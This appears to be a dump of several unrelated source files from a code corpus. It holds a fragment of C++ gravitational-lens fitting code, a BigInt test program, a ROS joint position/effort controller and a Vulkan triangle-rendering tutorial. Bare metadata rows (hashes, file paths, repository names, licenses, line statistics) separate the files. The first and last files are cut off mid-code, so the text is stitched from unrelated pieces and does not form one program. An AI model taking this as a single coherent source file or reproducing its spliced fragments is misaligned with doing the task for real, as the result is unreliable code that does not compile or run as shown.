} /** source positions **/ for(i=0;i<Nsources;++i){ temp[0]=mod[N+1+2*i]; temp[1]=mod[N+2+2*i]; mod[N+1+2*i]= temp[0]*cos(thetaX)+temp[1]*sin(thetaX); mod[N+2+2*i]=-temp[0]*sin(thetaX)+temp[1]*cos(thetaX); } } double LensHaloAnaNSIE::find_axis(double *mod,int Nmod){ /******************************************** ************* find rotation axis *********** ********************************************/ double theta,ans; int i,k; NmodT=Nmod; for(i=1;i<=NmodT;++i) modT[i] = mod[i]; theta = zriddrD(minaxis,0,PI/4.,1.0e-9); /* calc 2nd deriv */ for(i=4,ans=0.0;i<=5;i+=2){ k=i/2; /*std::printf("ans=%e %e %e\n",ans,modT[i],modT[i+1]);*/ ans += -4*k*k*modT[i]*modT[i+1]*sin(2*k*theta) - 2*k*k*(modT[i]*modT[i] - modT[i+1]*modT[i+1])*cos(2*k*theta); } if(ans < 0) theta += PI/4; /* make answer a minimum */ return theta; } double minaxis(double thetaX){ double ans; int i,k; for(i=4,ans=0.0;i<=5;i+=2){ k=i/2; /*std::printf("ans=%e %e %e\n",ans,modT[i],modT[i+1]);*/ ans += 2*k*modT[i]*modT[i+1]*cos(2*k*thetaX) - k*(modT[i]*modT[i] - modT[i+1]*modT[i+1])*sin(2*k*thetaX); } return ans; } int LensHaloAnaNSIE::check_model(int Nimages,int Nsources,int Nlenses,int *pairing,double **xob,double *x_center ,int Nmod,double *mod,double **xg,double Re2,double **dx_sub,double **Amag,double ytol){ int i; double dy,dymax,tmp[2],kappa,mag[3],x2[2],par; // check parity of images for(i=0,par=0;i<Nimages;++i) par+=(Amag[i][0]*Amag[i][1]-Amag[i][2]*Amag[i][2]) /fabs(Amag[i][0]*Amag[i][1]-Amag[i][2]*Amag[i][2]); //std::printf("par=%e\n",par); if(fabs(par) > 1.0e-6 ) return 1; if(Nlenses>1){ x2[0]=xg[1][0]-x_center[0]; x2[1]=xg[1][1]-x_center[1]; }else{ Re2=0.0;} // check that there is only one source double **y = dmatrix(0,Nimages-1,0,1); for(i=0;i<Nimages;++i){ tmp[0]=xob[i][0]-x_center[0]; tmp[1]=xob[i][1]-x_center[1]; kappa=deflect_translated(1.0,mod,tmp,y[i],mag,Nmod,Nlenses,Re2,x2); y[i][0]+=dx_sub[i][0]; y[i][1]+=dx_sub[i][1]; //std::printf("y= %e %e %e %e %i\n",y[i][0],y[i][1],kappa,1.0/(mag[0]*mag[1]-mag[2]*mag[2]),pairing[i-1]); } for(i=1,dymax=0;i<Nimages;++i){ dy=sqrt( pow(y[0][0]-y[i][0],2)+pow(y[0][1]-y[i][1],2) ); if(dy > dymax) dymax=dy; } free_dmatrix(y,0,Nimages-1,0,1); if(dymax > ytol) return 1; // check number of images tmp[0]=xob[1][0]-x_center[0]; tmp[1]=xob[1][1]-x_center[1]; //std::printf("number of images: %i\n",find_image_number(y[0],tmp,mod,Nmod,Nlenses,Re2,x2) ); //std::printf("number of images: %i\n",magandcrit(y[0],tmp,mod,Nmod,Nlenses,Re2,x2) ); //std::printf("finite mag: %e\n",finiteMag(1.0e-3,xob[0],mod,Nmod,Nlenses,Re2,x2) ); //std::printf("finite mag: %e\n",finiteMag(1.0e-3,xob[1],mod,Nmod,Nlenses,Re2,x2) ); //std::printf("finite mag: %e\n",finiteMag(1.0e-3,xob[2],mod,Nmod,Nlenses,Re2,x2) ); //std::printf("finite mag: %e\n",finiteMag(1.0e-3,xob[3],mod,Nmod,Nlenses,Re2,x2) ); return 0; } // Copied from lens_expand.c PosType LensHaloFit::lens_expand(PosType beta,PosType *mod,int Nmodes,PosType const *x,PosType *alpha,KappaType *gamma,KappaType *phi) { PosType F,F1,F2,theta,r,cosx,sinx,cos2theta,sin2theta,gt,gx; int i,k; if(Nmodes<=0){ alpha[0]=alpha[1]=0; gamma[0]=gamma[1]=0; return 0.0; } r=sqrt(x[0]*x[0] + x[1]*x[1]); theta=atan2(x[1],x[0]); cosx=x[0]/r; sinx=x[1]/r; if(Nmodes > 3) F=0.5*mod[3]; else F = 0; F1=0; F2=0; for(i=4;i<Nmodes;i+=2){ k=i/2; F += mod[i]*cos(k*theta) + mod[i+1]*sin(k*theta); F1+=-mod[i]*k*sin(k*theta) + mod[i+1]*k*cos(k*theta); F2+=-mod[i]*k*k*cos(k*theta) - mod[i+1]*k*k*sin(k*theta); } alpha[0] = pow(r,beta-1)*(beta*cosx*F - sinx*F1); alpha[1] = pow(r,beta-1)*(beta*sinx*F + cosx*F1); // add shear alpha[0] += x[0]*mod[1] + x[1]*mod[2]; alpha[1] += -x[1]*mod[1] + x[0]*mod[2]; // add flat kappa alpha[0] += -1.0*x[0]*mod[0]; alpha[1] += -1.0*x[1]*mod[0]; gt=-0.5*pow(r,beta-2)*(beta*(beta-2)*F-F2); gx=pow(r,beta-2)*(beta-1)*F1; cos2theta=2*cosx*cosx-1; sin2theta=2*cosx*sinx; gamma[0]=-(gt*cos2theta+gx*sin2theta) + mod[1]; gamma[1]=-gt*sin2theta+gx*cos2theta + mod[2]; //gamma[0]=-0.5*( x[0]*(r*dxdr - dyda) - x[1]*(r*dydr + dxda) )/r/r; //gamma[1]=-( x[0]*dxda + r*x[1]*dxdr )/r/r; // potential *phi = F*pow(r,beta) + r*r*(mod[0] + mod[1]*cos2theta + mod[2]*sin2theta)/2; //printf(" lens_expand *phi = %e\n",*phi); return 0.5*(beta*beta*F+F2)*pow(r,beta-2) + mod[0]; }
35.160796
239
0.551524
[ "vector", "model" ]
0142a477adda28ea12ff8192c013eec5f3edc810
733
cpp
C++
main.cpp
vztpv/BigInt
ef7febece93001b049e9ee05d2a16f38fe7fa8bc
[ "MIT" ]
null
null
null
main.cpp
vztpv/BigInt
ef7febece93001b049e9ee05d2a16f38fe7fa8bc
[ "MIT" ]
null
null
null
main.cpp
vztpv/BigInt
ef7febece93001b049e9ee05d2a16f38fe7fa8bc
[ "MIT" ]
null
null
null
// todo - move this file to wiz/bigInt.h #define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <wiz/big_int.h> //#include <wiz/big_fraction.h> int main(void) { wiz::big_int::BigInt x, y; x = wiz::big_int::BigInt(std::vector<long long>{ 1 }, true); y = wiz::big_int::BigInt(std::vector<long long>{ 1 }, true); wiz::big_int::BigInt Max(std::vector<long long>{ 1, 614511616 }, true); y = Max / wiz::big_int::BigInt(std::vector<long long>{ 95448 }, true); for (auto& val : y.val) std::cout << val << std::endl; x = wiz::big_int::BigInt(std::vector< long long >{ 999999999 }, true); y = x; y = y * y; std::cout << "-----" << std::endl; std::cout << y << std::endl; return 0; }
23.645161
73
0.593452
[ "vector" ]
0142bb74a55d3398201104a9e02595c89740f321
5,531
cpp
C++
position_effort_controller/src/position_effort_controller.cpp
RIVeR-Lab/walrus
28d285cec8e181e9300fdd9a82a299c7c025f32e
[ "BSD-3-Clause" ]
5
2015-03-04T22:48:52.000Z
2021-12-18T11:57:53.000Z
position_effort_controller/src/position_effort_controller.cpp
RIVeR-Lab/walrus
28d285cec8e181e9300fdd9a82a299c7c025f32e
[ "BSD-3-Clause" ]
52
2015-01-02T05:50:10.000Z
2021-07-23T20:34:50.000Z
position_effort_controller/src/position_effort_controller.cpp
RIVeR-Lab/walrus
28d285cec8e181e9300fdd9a82a299c7c025f32e
[ "BSD-3-Clause" ]
5
2015-08-24T10:05:30.000Z
2021-12-18T11:58:03.000Z
#include <tf/transform_datatypes.h> #include <urdf_parser/urdf_parser.h> #include <boost/assign.hpp> #include <angles/angles.h> #include <control_toolbox/filters.h> #include <position_effort_controller/position_effort_controller.h> namespace position_effort_controller{ PositionEffortController::PositionEffortController() : next_state_update_(0), controller_state_period_(0.5), command_timeout_(0.5) { } bool PositionEffortController::init(hardware_interface::EffortJointInterface* hw, ros::NodeHandle& root_nh, ros::NodeHandle& controller_nh) { std::string joint_name; urdf::Model urdf; if (!urdf.initParam("robot_description")) { ROS_ERROR("Failed to parse urdf file"); return false; } controller_nh.param("command_timeout", command_timeout_, command_timeout_); if (!controller_nh.getParam("joint", joint_name)) { ROS_ERROR("No joint given (namespace: %s)", controller_nh.getNamespace().c_str()); return false; } joint_ = hw->getHandle(joint_name); boost::shared_ptr<const urdf::Joint> joint_urdf = urdf.getJoint(joint_name); if (!joint_urdf) { ROS_ERROR("Could not find joint '%s' in urdf", joint_name.c_str()); return false; } if (!pid_controller_.init(ros::NodeHandle(controller_nh, "pid"))) return false; controller_state_publisher_.reset(new realtime_tools::RealtimePublisher<control_msgs::JointControllerState>(controller_nh, "state", 1)); command_sub_ = controller_nh.subscribe<position_effort_controller::PositionEffortCommand>("command", 1, &PositionEffortController::setCommandCallback, this); } void PositionEffortController::setCommandCallback(const position_effort_controller::PositionEffortCommandConstPtr& command) { position_effort_controller::PositionEffortCommandStamped command_stamped; command_stamped.header.stamp = ros::Time::now(); command_stamped.command = *command; command_buffer_.writeFromNonRT(command_stamped); } void PositionEffortController::starting(const ros::Time& time) { position_effort_controller::PositionEffortCommandStamped command; command.header.stamp = ros::Time(0); command.command.mode = position_effort_controller::PositionEffortCommand::HOLD_POSITION; command_buffer_.initRT(command); } void PositionEffortController::stopping(const ros::Time& time) { joint_.setCommand(0.0); // set joint effort to zero } void PositionEffortController::update(const ros::Time& time, const ros::Duration& period) { double current_position = joint_.getPosition(); position_effort_controller::PositionEffortCommandStamped command_stamped = *(command_buffer_.readFromRT()); const double dt = (time - command_stamped.header.stamp).toSec(); double command_effort; double command_position; double error; position_effort_controller::PositionEffortCommand command = command_stamped.command; if (dt > command_timeout_) { // timeout command.mode = position_effort_controller::PositionEffortCommand::DISABLED; } if(command.mode == position_effort_controller::PositionEffortCommand::POSITION || command.mode == position_effort_controller::PositionEffortCommand::HOLD_POSITION) { // switching to position mode so reset the pid controller if(last_command_.mode != position_effort_controller::PositionEffortCommand::POSITION && last_command_.mode != position_effort_controller::PositionEffortCommand::HOLD_POSITION) { pid_controller_.reset(); } if(command.mode == position_effort_controller::PositionEffortCommand::HOLD_POSITION) { // Hold the position that was held last time if(last_command_.mode == position_effort_controller::PositionEffortCommand::HOLD_POSITION) { command.set_point = last_command_.set_point; } else { command.set_point = current_position; } } command_position = filters::clamp(command.set_point, -M_PI, M_PI); error = angles::shortest_angular_distance(current_position, command_position); command_effort = pid_controller_.computeCommand(error, period); } else if(command.mode == position_effort_controller::PositionEffortCommand::EFFORT) { command_position = std::numeric_limits<double>::quiet_NaN(); error = std::numeric_limits<double>::quiet_NaN(); command_effort = command.set_point; } else { // disabled command_position = std::numeric_limits<double>::quiet_NaN(); error = std::numeric_limits<double>::quiet_NaN(); command_effort = 0.0; } last_command_ = command; joint_.setCommand(command_effort); // publish state if (time > next_state_update_) { if(controller_state_publisher_ && controller_state_publisher_->trylock()) { controller_state_publisher_->msg_.header.stamp = time; controller_state_publisher_->msg_.set_point = command_position; controller_state_publisher_->msg_.process_value = current_position; controller_state_publisher_->msg_.process_value_dot = joint_.getVelocity(); controller_state_publisher_->msg_.error = error; controller_state_publisher_->msg_.time_step = period.toSec(); controller_state_publisher_->msg_.command = command_effort; double dummy; pid_controller_.getGains(controller_state_publisher_->msg_.p, controller_state_publisher_->msg_.i, controller_state_publisher_->msg_.d, controller_state_publisher_->msg_.i_clamp, dummy); controller_state_publisher_->unlockAndPublish(); } next_state_update_ = time + controller_state_period_; } } } // namespace position_effort_controller
38.678322
159
0.761526
[ "model" ]
014d72f5751c701d696f9948f6c55d61a47b5fc8
52,961
cpp
C++
vulkan_tutorial.cpp
baba-beda/ekaterinburg
ac1e1e0d532d3c6861165e7b4193cee96f4cf75d
[ "MIT" ]
null
null
null
vulkan_tutorial.cpp
baba-beda/ekaterinburg
ac1e1e0d532d3c6861165e7b4193cee96f4cf75d
[ "MIT" ]
null
null
null
vulkan_tutorial.cpp
baba-beda/ekaterinburg
ac1e1e0d532d3c6861165e7b4193cee96f4cf75d
[ "MIT" ]
null
null
null
// #include <vulkan/vulkan.h> // This replacement is needed for showing something // simple include is enough for off-screen rendering #define GLFW_INCLUDE_NONE #define GLFW_INCLUDE_VULKAN #include <GLFW/glfw3.h> // For reporting and propagating errors #include <iostream> #include <stdexcept> // Provides EXIT_SUCCESS and EXIT_FAILURE macros #include <cstdlib> #include <optional> #include <set> #include <unordered_set> #include <vector> // #include <stdio.h> #include <cstdint> #include <algorithm> #include <fstream> #include <glm/glm.hpp> #include <array> const uint32_t WIDTH = 800; const uint32_t HEIGHT = 600; const int MAX_FRAMES_IN_FLIGHT = 2; // all standard validation is bundled into this layer const std::vector<const char *> validationLayers = { "VK_LAYER_KHRONOS_validation" }; // swapchain is needed to synchronize the presentation of rendered // images with the refresh rate of the screen const std::vector<const char *> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; #ifdef NDEBUG // standard C++ macro for not-debug mode const bool enableValidationLayers = false; #else const bool enableValidationLayers = true; #endif VkResult CreateDebugUtilsMessengerEXT( VkInstance instance, const VkDebugUtilsMessengerCreateInfoEXT *pCreateInfo, const VkAllocationCallbacks *pAllocator, VkDebugUtilsMessengerEXT *pDebugMessenger) { auto func = (PFN_vkCreateDebugUtilsMessengerEXT) vkGetInstanceProcAddr( instance, "vkCreateDebugUtilsMessengerEXT"); if (func != nullptr) { return func(instance, pCreateInfo, pAllocator, pDebugMessenger); } else { return VK_ERROR_EXTENSION_NOT_PRESENT; } } void DestroyDebugUtilsMessengerEXT(VkInstance instance, VkDebugUtilsMessengerEXT debugMessenger, const VkAllocationCallbacks *pAllocator) { auto func = (PFN_vkDestroyDebugUtilsMessengerEXT) vkGetInstanceProcAddr( instance, "vkDestroyDebugUtilsMessengerEXT"); if (func != nullptr) { func(instance, debugMessenger, pAllocator); } } struct QueueFamilyIndices { // there is no value to indicate a non-existent queue family // therefore we use optional std::optional<uint32_t> graphicsFamily; // to store the queue family that supports presenting // to the surface we created std::optional<uint32_t> presentFamily; bool isComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { VkSurfaceCapabilitiesKHR capabilities{}; std::vector<VkSurfaceFormatKHR> formats; std::vector<VkPresentModeKHR> presentModes; }; // glm is going to exactly match the vector types used in the shader language struct Vertex { glm::vec2 pos; glm::vec3 color; static VkVertexInputBindingDescription getBindingDescription() { // at which rate to load data from memory throughout the vertices VkVertexInputBindingDescription bindingDescription{}; bindingDescription.binding = 0; bindingDescription.stride = sizeof(Vertex); bindingDescription.inputRate = VK_VERTEX_INPUT_RATE_VERTEX; return bindingDescription; } static std::array<VkVertexInputAttributeDescription, 2> getAttributeDescriptions() { // one for positions, one for colour std::array<VkVertexInputAttributeDescription, 2> attributeDescriptions{}; attributeDescriptions[0].binding = 0; // from which binding the per-vertex data comes attributeDescriptions[0].location = 0; // references the location directive of the input in the vertex shader attributeDescriptions[0].format = VK_FORMAT_R32G32_SFLOAT; // amount of colour channels matches the number of // components in the shader data type attributeDescriptions[0].offset = offsetof(Vertex, pos); attributeDescriptions[1].binding = 0; attributeDescriptions[1].location = 1; attributeDescriptions[1].format = VK_FORMAT_R32G32B32_SFLOAT; attributeDescriptions[1].offset = offsetof(Vertex, color); return attributeDescriptions; } }; // interleaving vertex attributes const std::vector<Vertex> vertices = { {{-0.5f, -0.5f}, {1.0f, 0.0f, 0.0f}}, {{0.5f, -0.5f}, {0.0f, 1.0f, 0.0f}}, {{0.5f, 0.5f}, {0.0f, 0.0f, 1.0f}}, {{-0.5f, 0.5f}, {1.0f, 1.0f, 1.0f}} }; const std::vector<uint16_t> indices = { 0, 1, 2, 2, 3, 0 }; // Class to store the Vulkan objects as members class HelloTriangleApplication { public: void run() { initWindow(); initVulkan(); mainLoop(); cleanup(); } private: GLFWwindow *window_; // connection between application and Vulkan library VkInstance instance_; VkDebugUtilsMessengerEXT debugMessenger_; VkSurfaceKHR surface_; VkPhysicalDevice physicalDevice_ = VK_NULL_HANDLE; // a logical device to interface with the physical device VkDevice device_; // handle to interface with the queues which are created along with the // logical device VkQueue graphicsQueue_; // won't be platform agnostic, thankfully it can be created with // glfwCreateWindowSurface that can handle the platform differences VkQueue presentQueue_; VkSwapchainKHR swapChain_; std::vector<VkImage> swapChainImages_; VkFormat swapChainImageFormat_; VkExtent2D swapChainExtent_; std::vector<VkImageView> swapChainImageViews_; std::vector<VkFramebuffer> swapChainFramebuffers_; VkRenderPass renderPass_; VkPipelineLayout pipelineLayout_; VkPipeline graphicsPipeline_; VkBuffer vertexBuffer_; VkDeviceMemory vertexBufferMemory_; VkBuffer indexBuffer_; VkDeviceMemory indexBufferMemory_; // command pools manage the memory that is used to store the buffers // and command buffers are allocated from them. VkCommandPool commandPool_; std::vector<VkCommandBuffer> commandBuffers_; // for synchronizing the queue operations of draw commands and presentation std::vector<VkSemaphore> imageAvailableSemaphores_; std::vector<VkSemaphore> renderFinishedSemaphores_; std::vector<VkFence> inFlightFences_; std::vector<VkFence> imagesInFlight_; size_t currentFrame_ = 0; bool framebufferResized = false; void initWindow() { glfwInit(); // Avoid creating an OpenGL context glfwWindowHint(GLFW_CLIENT_API, GLFW_NO_API); window_ = glfwCreateWindow(WIDTH, HEIGHT, "Vulkan", nullptr, nullptr); glfwSetWindowUserPointer(window_, this); glfwSetFramebufferSizeCallback(window_, framebufferResizeCallback); } static void framebufferResizeCallback(GLFWwindow* window, int width, int height) { auto app = reinterpret_cast<HelloTriangleApplication*>(glfwGetWindowUserPointer(window)); app->framebufferResized = true; } // initiate vulkan objects void initVulkan() { if (glfwVulkanSupported()) { std::cout << "Vulkan Supported" << std::endl; createInstance(); setupDebugMessenger(); createSurface(); pickPhysicalDevice(); createLogicalDevice(); createSwapChain(); createImageViews(); createRenderPass(); createGraphicsPipeline(); createFramebuffers(); createCommandPool(); createVertexBuffer(); createIndexBuffer(); createCommandBuffers(); createSyncObjects(); } } // old versions of the objects that depend on the swap chain need to be // cleaned up before recreating them. void cleanupSwapChain() { for (auto framebuffer : swapChainFramebuffers_) { vkDestroyFramebuffer(device_, framebuffer, nullptr); } vkFreeCommandBuffers(device_, commandPool_, static_cast<uint32_t>(commandBuffers_.size()),commandBuffers_.data()); vkDestroyPipeline(device_, graphicsPipeline_, nullptr); vkDestroyPipelineLayout(device_, pipelineLayout_, nullptr); vkDestroyRenderPass(device_, renderPass_, nullptr); for (auto imageView : swapChainImageViews_) { vkDestroyImageView(device_, imageView, nullptr); } vkDestroySwapchainKHR(device_, swapChain_, nullptr); } // in case if the window surface changes and the swap chain is no longer // compatible with it we need to recreate the swap chain and everything that // depends on it. void recreateSwapChain() { std::cout << "recreating swap chain" << std::endl; int width = 0, height = 0; glfwGetFramebufferSize(window_, &width, &height); while (width == 0 || height == 0) { std::cout << "window minimised" << std::endl; glfwGetFramebufferSize(window_, &width, &height); glfwWaitEvents(); } // we shouldn't touch resources that may still be in use/ vkDeviceWaitIdle(device_); cleanupSwapChain(); createSwapChain(); // image views need to be recreated as they are based directly on the swap // chain images createImageViews(); // render pass depends on the format of the swap chain images createRenderPass(); // viewport and scissor rectangle size are specified during graphics // pipeline creation createGraphicsPipeline(); // framebuffers and commandbuffers directly depend on swap chain images createFramebuffers(); createCommandBuffers(); } // start rendering frames void mainLoop() { // until either an error occurs or the window is closed while (!glfwWindowShouldClose(window_)) { glfwPollEvents(); drawFrame(); } vkDeviceWaitIdle(device_); } // once the window is closed void cleanup() { cleanupSwapChain(); for (size_t i = 0; i < MAX_FRAMES_IN_FLIGHT; i++) { vkDestroySemaphore(device_, renderFinishedSemaphores_[i], nullptr); vkDestroySemaphore(device_, imageAvailableSemaphores_[i], nullptr); vkDestroyFence(device_, inFlightFences_[i], nullptr); } vkDestroyBuffer(device_, indexBuffer_, nullptr); vkFreeMemory(device_, indexBufferMemory_, nullptr); vkDestroyBuffer(device_, vertexBuffer_, nullptr); vkFreeMemory(device_, vertexBufferMemory_, nullptr); vkDestroyCommandPool(device_, commandPool_, nullptr); vkDestroyDevice(device_, nullptr); if (enableValidationLayers) { DestroyDebugUtilsMessengerEXT(instance_, debugMessenger_, nullptr); } vkDestroySurfaceKHR(instance_, surface_, nullptr); vkDestroyInstance(instance_, nullptr); glfwDestroyWindow(window_); glfwTerminate(); } // A lot of information in Vulkan is passed through structs instead // of function parameters. void createInstance() { if (enableValidationLayers && !checkValidationLayerSupport()) { throw std::runtime_error( "validation layers requested, but no available!"); } // structure for providing some useful information to the driver // in order to optimize our specific applications. // it also contains pNext member that can point to extension // information in the future, initialized as nullptr at {} VkApplicationInfo appInfo{}; // required explicit sType member appInfo.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO; appInfo.pApplicationName = "Hello Triangle"; appInfo.applicationVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.pEngineName = "No Engine"; appInfo.engineVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.apiVersion = VK_API_VERSION_1_0; // this structs will tell the Vulkan driver which global (for the // entire program) extensions and validation layers we want to use. VkInstanceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO; createInfo.pApplicationInfo = &appInfo; // retrieving all supported extensions uint32_t extensionCount = 0; vkEnumerateInstanceExtensionProperties(nullptr, &extensionCount, nullptr); std::vector<VkExtensionProperties> extensions(extensionCount); vkEnumerateInstanceExtensionProperties(nullptr, &extensionCount, extensions.data()); // std::cout << "available extensions:\n"; std::unordered_set<std::string> availableExtensionsNames; for (const auto &extension : extensions) { // std::cout << '\t' << extension.extensionName << std::endl; availableExtensionsNames.insert(extension.extensionName); } auto glfwExtensions = getRequiredExtensions(); // std::cout << "required extensions:" << std::endl; for (const char *extension : glfwExtensions) { // std::cout << '\t' << extension << ' '; if (availableExtensionsNames.count(extension)) { // std::cout << "available" << std::endl; } else { // std::cout << "unavailable" << std::endl; throw std::runtime_error("Required extension is not available"); } } createInfo.enabledExtensionCount = static_cast<uint32_t>(glfwExtensions.size()); createInfo.ppEnabledExtensionNames = glfwExtensions.data(); // Moved outside of the if statement to ensure that it's not destroyed // before vkCreateInstance call. VkDebugUtilsMessengerCreateInfoEXT debugCreateInfo; // determine the global validation layers to enable. if (enableValidationLayers) { createInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size()); createInfo.ppEnabledLayerNames = validationLayers.data(); populateDebugMessengerCreateInfo(debugCreateInfo); createInfo.pNext = (VkDebugUtilsMessengerCreateInfoEXT *) &debugCreateInfo; } else { createInfo.enabledLayerCount = 0; createInfo.pNext = nullptr; } // general pattern of the object creation function parameters // in Vulkan // pointer with creation info // pointer to custom allocator callbacks // pointer that stores the handle to the new object // VkResult is either VK_SUCCESS or an error code // VkResult result = vkCreateInstance(&createInfo, nullptr, &instance_); // if (result != VK_SUCCESS) { if (vkCreateInstance(&createInfo, nullptr, &instance_) != VK_SUCCESS) { throw std::runtime_error("failed to create instance!"); } else { std::cout << "Instance for application " << appInfo.pApplicationName << " created successfully" << std::endl; } } static void populateDebugMessengerCreateInfo( VkDebugUtilsMessengerCreateInfoEXT &createInfo) { createInfo = {}; createInfo.sType = VK_STRUCTURE_TYPE_DEBUG_UTILS_MESSENGER_CREATE_INFO_EXT; createInfo.messageSeverity = VK_DEBUG_UTILS_MESSAGE_SEVERITY_VERBOSE_BIT_EXT | VK_DEBUG_UTILS_MESSAGE_SEVERITY_WARNING_BIT_EXT | VK_DEBUG_UTILS_MESSAGE_SEVERITY_ERROR_BIT_EXT; createInfo.messageType = VK_DEBUG_UTILS_MESSAGE_TYPE_GENERAL_BIT_EXT | VK_DEBUG_UTILS_MESSAGE_TYPE_VALIDATION_BIT_EXT | VK_DEBUG_UTILS_MESSAGE_TYPE_PERFORMANCE_BIT_EXT; createInfo.pfnUserCallback = debugCallback; } void setupDebugMessenger() { if (!enableValidationLayers) { return; } VkDebugUtilsMessengerCreateInfoEXT createInfo{}; populateDebugMessengerCreateInfo(createInfo); if (CreateDebugUtilsMessengerEXT(instance_, &createInfo, nullptr, &debugMessenger_) != VK_SUCCESS) { throw std::runtime_error("failed to set up debug messenger!"); } } void createSurface() { // passed the VkResult from the relevant platform call if (glfwCreateWindowSurface(instance_, window_, nullptr, &surface_) != VK_SUCCESS) { throw std::runtime_error("failed to create window surface"); } } void pickPhysicalDevice() { uint32_t deviceCount = 0; vkEnumeratePhysicalDevices(instance_, &deviceCount, nullptr); if (deviceCount == 0) { throw std::runtime_error("failed to find GPUs with Vulkan support"); } std::vector<VkPhysicalDevice> devices(deviceCount); vkEnumeratePhysicalDevices(instance_, &deviceCount, devices.data()); for (const auto &device : devices) { if (isDeviceSuitable(device)) { physicalDevice_ = device; break; } } if (physicalDevice_ == VK_NULL_HANDLE) { throw std::runtime_error("no suitable GPU found"); } } void createLogicalDevice() { QueueFamilyIndices indices = findQueueFamilies(physicalDevice_); std::vector<VkDeviceQueueCreateInfo> queueCreateInfos; std::set<uint32_t> uniqueQueueFamilies = {indices.graphicsFamily.value(), indices.presentFamily.value()}; float queuePriority = 1.0f; for (uint32_t queueFamily : uniqueQueueFamilies) { VkDeviceQueueCreateInfo queueCreateInfo{}; queueCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO; queueCreateInfo.queueFamilyIndex = queueFamily; queueCreateInfo.queueCount = 1; queueCreateInfo.pQueuePriorities = &queuePriority; queueCreateInfos.push_back(queueCreateInfo); } // we don't need anything special for now, // so everything can be left to VK_FALSE VkPhysicalDeviceFeatures deviceFeatures{}; VkDeviceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_DEVICE_CREATE_INFO; createInfo.queueCreateInfoCount = static_cast<uint32_t>(queueCreateInfos.size()); createInfo.pQueueCreateInfos = queueCreateInfos.data(); createInfo.pEnabledFeatures = &deviceFeatures; createInfo.enabledExtensionCount = static_cast<uint32_t>(deviceExtensions.size()); createInfo.ppEnabledExtensionNames = deviceExtensions.data(); if (enableValidationLayers) { // this field will be ignored by newer implementations // as those are propagated from instance createInfo // setting them for older versions createInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size()); createInfo.ppEnabledLayerNames = validationLayers.data(); } else { createInfo.enabledLayerCount = 0; } if (vkCreateDevice(physicalDevice_, &createInfo, nullptr, &device_) != VK_SUCCESS) { throw std::runtime_error("failed to create logical device"); } vkGetDeviceQueue(device_, indices.graphicsFamily.value(), 0, &graphicsQueue_); vkGetDeviceQueue(device_, indices.presentFamily.value(), 0, &presentQueue_); } void createSwapChain() { SwapChainSupportDetails swapChainSupport = querySwapChainSupport(physicalDevice_); VkSurfaceFormatKHR surfaceFormat = chooseSwapSurfaceFormat(swapChainSupport.formats); VkPresentModeKHR presentMode = chooseSwapPresentMode(swapChainSupport.presentModes); VkExtent2D extent = chooseSwapExtent(swapChainSupport.capabilities); uint32_t imageCount = swapChainSupport.capabilities.minImageCount + 1; if (swapChainSupport.capabilities.maxImageCount > 0 && imageCount > swapChainSupport.capabilities.maxImageCount) { imageCount = swapChainSupport.capabilities.maxImageCount; } VkSwapchainCreateInfoKHR createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR; createInfo.surface = surface_; createInfo.minImageCount = imageCount; createInfo.imageFormat = surfaceFormat.format; createInfo.imageColorSpace = surfaceFormat.colorSpace; createInfo.imageExtent = extent; createInfo.imageArrayLayers = 1; createInfo.imageUsage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT; QueueFamilyIndices indices = findQueueFamilies(physicalDevice_); uint32_t queueFamilyIndices[] = {indices.graphicsFamily.value(), indices.presentFamily.value()}; if (indices.graphicsFamily != indices.presentFamily) { // images used across multiple queue families without explicit // ownership trasfers; currently avoiding ownership concepts // requires at least two distinct queue families createInfo.imageSharingMode = VK_SHARING_MODE_CONCURRENT; createInfo.queueFamilyIndexCount = 2; createInfo.pQueueFamilyIndices = queueFamilyIndices; } else { // image is owned by one queue family at a time and the ownership must // be explicitly transferred before using it; offers the best performance // in most hardware graphics queue family and presentation queue family // are the same, we should stick with exclusive mode then createInfo.imageSharingMode = VK_SHARING_MODE_EXCLUSIVE; createInfo.queueFamilyIndexCount = 0; // Optional createInfo.pQueueFamilyIndices = nullptr; // Optional } // some certain transform can be specified to apply to all images in // the swap chain if it's supported, like rotation or flip // to leave it as is, set to current transformation createInfo.preTransform = swapChainSupport.capabilities.currentTransform; // for overlap with other windows createInfo.compositeAlpha = VK_COMPOSITE_ALPHA_OPAQUE_BIT_KHR; // we don't care about pixels we don't see (e.g. they are covered with other // windows) createInfo.presentMode = presentMode; createInfo.clipped = VK_TRUE; // sometimes swapchain needs to be recreated (e.g. when the window was // resized); for now creating only one swap chain createInfo.oldSwapchain = VK_NULL_HANDLE; if (vkCreateSwapchainKHR(device_, &createInfo, nullptr, &swapChain_) != VK_SUCCESS) { throw std::runtime_error("failed to create swap chain!"); } vkGetSwapchainImagesKHR(device_, swapChain_, &imageCount, nullptr); swapChainImages_.resize(imageCount); vkGetSwapchainImagesKHR(device_, swapChain_, &imageCount, swapChainImages_.data()); swapChainImageFormat_ = surfaceFormat.format; swapChainExtent_ = extent; } void createImageViews() { swapChainImageViews_.resize(swapChainImages_.size()); for (size_t i = 0; i < swapChainImages_.size(); i++) { VkImageViewCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO; createInfo.image = swapChainImages_[i]; // viewType allows to treat images as 1D/2D/3D textures and cube maps createInfo.viewType = VK_IMAGE_VIEW_TYPE_2D; createInfo.format = swapChainImageFormat_; // identity here means id operation a -> a createInfo.components.r = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.g = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.b = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.a = VK_COMPONENT_SWIZZLE_IDENTITY; // describes image's purpose and 